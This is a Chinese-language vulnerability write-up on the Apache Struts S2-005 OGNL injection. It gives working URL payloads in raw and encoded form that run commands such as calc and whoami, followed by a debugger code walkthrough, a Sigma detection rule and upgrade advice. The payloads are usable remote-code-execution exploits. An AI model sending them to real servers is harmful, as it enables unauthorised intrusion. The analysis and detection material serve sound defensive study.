ATT&CK-st005漏洞之漏洞分析與利用
STATEMENT
聲明
由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。
雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
前言
原理:
S2-005的出現是因為官方對S2-003的修補不完全導致的。官方通過增加安全配置禁止靜態方法調用(allowStaticMethodAcces)和類方法執行(MethodAccessor.denyMethodExecution)等來修補。但可以被繞過設置allowStaticMethodAccess為true和denyMethodExecution為false,從而導致任意命令執行。
漏洞影響范圍:
Struts 2.0.0 - Struts 2.1.8.1
環境搭建
下載 st-005 的漏洞環境,通過war包部署,idea運行war包部署后的文件,進行斷點調試。
payload如下:
## 命令執行/example/HelloWorld.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec(%22calc%22.split(%22@%22))')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1回顯:/example/HelloWorld.action?(a)(\u0023_memberAccess.allowStaticMethodAccess\u003dtrue)&(b)(\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse)&(c)(\u0023ret\u003d@java.lang.Runtime@getRuntime().exec('whoami'))&(d)(\u0023dis\u003dnew\u0020java.io.BufferedReader(new\u0020java.io.InputStreamReader(\u0023ret.getInputStream())))&(e)(\u0023res\u003dnew\u0020char[20000])&(f)(\u0023dis.read(\u0023res))&(g)(\u0023writer\u003d@org.apache.struts2.ServletActionContext@getResponse().getWriter())&(h)(\u0023writer.println(new\u0020java.lang.String(\u0023res)))&(i)(\u0023writer.flush())&(j)(\u0023writer.close())
編碼:
## 命令執行/example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)((%27%5cu0023rt.exec(%22calc%22.split(%22@%22))%27)(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1## 回顯/example/HelloWorld.action?(a)(%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue)&(b)(%5Cu0023context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%5Cu003dfalse)&(c)(%5Cu0023ret%5Cu003d%40java.lang.Runtime%40getRuntime().exec('whoami'))&(d)(%5Cu0023dis%5Cu003dnew%5Cu0020java.io.BufferedReader(new%5Cu0020java.io.InputStreamReader(%5Cu0023ret.getInputStream())))&(e)(%5Cu0023res%5Cu003dnew%5Cu0020char%5B20000%5D)&(f)(%5Cu0023dis.read(%5Cu0023res))&(g)(%5Cu0023writer%5Cu003d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter())&(h)(%5Cu0023writer.println(new%5Cu0020java.lang.String(%5Cu0023res)))&(i)(%5Cu0023writer.flush())&(j)(%5Cu0023writer.close())
代碼分析
輸入url請求:
/example/HelloWorld.action?('\u0023\_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec(%22calc%22.split(%22@%22))')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
S2-005的出現是因為官方對S2-003的修補的不完全導致的。官方通過增加安全配置禁止靜態方法調用(allowStaticMethodAcces)和類方法執行(MethodAccessor.denyMethodExecution)等來修補。大家可以先查看st-003漏洞分析過程,這里不再重復啦。
首先,在ParametersInterceptor攔截器,setParameters方法下,代碼:newStack.setValue(name, value) 這里設置斷點調試。

對輸入參數進行跟蹤,node參數設置,# _memberAccess['allowStaticMethodAccess'],
將allowStaticMethodAccess修改為true。

繼續跟進:


繼續跟蹤:

通過invoke方法調用,實現allowStaticMethodAccess參數修改。

同時,denyMethodExecution參數修改與之類似,不再進一步分析。
st-003與st-005 參數對比:
都可以實現denyMethodExecution 參數的修改。
st-003:(a)(\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse)st-005:(a)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))
st-003的命令執行參數無法在st-005漏洞環境上成功。
st-003:('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)st-005:(asdf)(('\u0023rt.exec(%22calc%22.split(%22@%22))')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))
同時,st-005多了allowStaticMethodAccess參數的修改,具體如下:
('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true
測試用例
使用工具:Struts2漏洞檢查工具2019版 V2.3.exe進行漏洞驗證,具體如圖:

檢測規則
Sigma檢測規則如下:
title: st-005遠程代碼執行漏洞description: 檢測st-005遠程代碼執行漏洞status: testdate: 2022/04/02author: bigsealogsource:category: webserverdetection:selection:c-uri|contains:- 'allowStaticMethodAccess'- '\u0023_memberAccess'- 'xwork.MethodAccessor.denyMethodExecution'- '\u0023context'- 'java.lang.Runtime'- 'java.lang.ProcessBuilder'condition: selectionfields:- c-ip- c-dnstags:- attack.t1190- attack.initial_access- cve.2010.1870level: Critical
緩解措施
官方建議Struts升級至 2.2.1版本,或更高版本。
參考鏈接
https://xz.aliyun.com/t/2323
http://www.b1ue.cn/archives/107.html
https://cwiki.apache.org/confluence/display/WW/S2-005